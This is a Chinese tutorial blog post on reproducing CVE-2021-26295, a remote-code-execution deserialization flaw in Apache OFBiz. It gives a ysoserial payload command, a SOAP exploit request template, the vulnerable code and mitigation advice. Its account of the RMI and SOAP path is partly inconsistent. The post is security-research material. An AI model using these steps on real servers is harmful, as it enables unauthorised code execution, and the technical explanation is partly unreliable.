如何实现Apache OFBiz RMI反序列化漏洞CVE-2021-26295的复现

发布时间:2021-12-29 18:02:04 作者:柒染
来源:亿速云 阅读:293
# 如何实现Apache OFBiz RMI反序列化漏洞CVE-2021-26295的复现

## 漏洞概述

CVE-2021-26295是Apache OFBiz框架中存在的一个Java反序列化漏洞,影响版本为17.12.01至17.12.06。攻击者通过构造恶意RMI请求,可在目标服务器上实现远程代码执行(RCE)。该漏洞源于OFBiz未对RMI接口接收的序列化数据进行安全校验。

## 环境准备

### 1. 漏洞环境搭建
```bash
# 下载受影响版本的OFBiz
wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.04.zip
unzip apache-ofbiz-17.12.04.zip
cd apache-ofbiz-17.12.04

# 启动服务(默认监听8080端口)
./gradlew ofbiz

2. 工具准备

漏洞复现步骤

步骤1:确认RMI服务端口

OFBiz默认在10500-10599端口范围启动RMI服务,可通过以下命令确认:

netstat -antp | grep java

步骤2:生成恶意序列化数据

使用ysoserial生成CommonsBeanutils1链的payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/poc_success" > payload.ser

步骤3:构造恶意请求

通过RMI协议发送序列化数据到/webtools/control/SOAPService端点:

POST /webtools/control/SOAPService HTTP/1.1
Host: target_ip:8080
Content-Type: application/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <ser>
      <map-HashMap>
        <map-Entry>
          <map-Key>
            <cus-obj>BASE64_ENCODED_PAYLOAD</cus-obj>
          </map-Key>
          <map-Value>
            <std-String value="poc"/>
          </map-Value>
        </map-Entry>
      </map-HashMap>
    </ser>
  </soapenv:Body>
</soapenv:Envelope>

将BASE64_ENCODED_PAYLOAD替换为payload.ser文件的Base64编码

步骤4:验证执行结果

检查目标服务器是否创建了测试文件:

ls -la /tmp/poc_success

技术原理分析

漏洞触发路径: 1. OFBiz的org.apache.ofbiz.service.rmi.socket.ssl.RMISSLClientSocketFactory类在反序列化RMI数据时未做过滤 2. 攻击者通过SOAP接口注入恶意序列化对象 3. 服务端使用ObjectInputStream直接反序列化导致RCE

关键危险代码片段:

// 存在问题的反序列化操作
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // 危险的反序列化点

修复建议

  1. 官方解决方案:

  2. 临时缓解措施:

    <!-- 在framework/webtools/webapp/WEB-INF/web.xml中添加 -->
    <security-constraint>
     <url-pattern>/webtools/control/SOAPService</url-pattern>
     <auth-constraint>ADMIN</auth-constraint>
    </security-constraint>
    

参考资源

  1. CVE-2021-26295 NVD详情
  2. Apache官方安全公告
  3. ysoserial项目地址

免责声明:本文仅用于安全研究目的,请勿用于非法用途。在实际测试前务必获得目标系统的书面授权。 “`

注:实际复现时需注意: 1. 需关闭OFBiz的JVM安全管理器(如设置-Djava.security.manager=allow) 2. 不同JDK版本可能影响ysoserial的利用效果 3. 真实环境中可能需要绕过防火墙等网络限制

推荐阅读:
  1. Apache Avro 序列化与反序列化 (Java 实现)
  2. 如何实现反序列化命令执行CVE-2016-4437复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

ofbiz cve-2021-26295 rmi

上一篇:文件包含漏洞防护以及常见文件读取payload的示例分析

下一篇:如何实现反序列化命令执行CVE-2016-4437复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》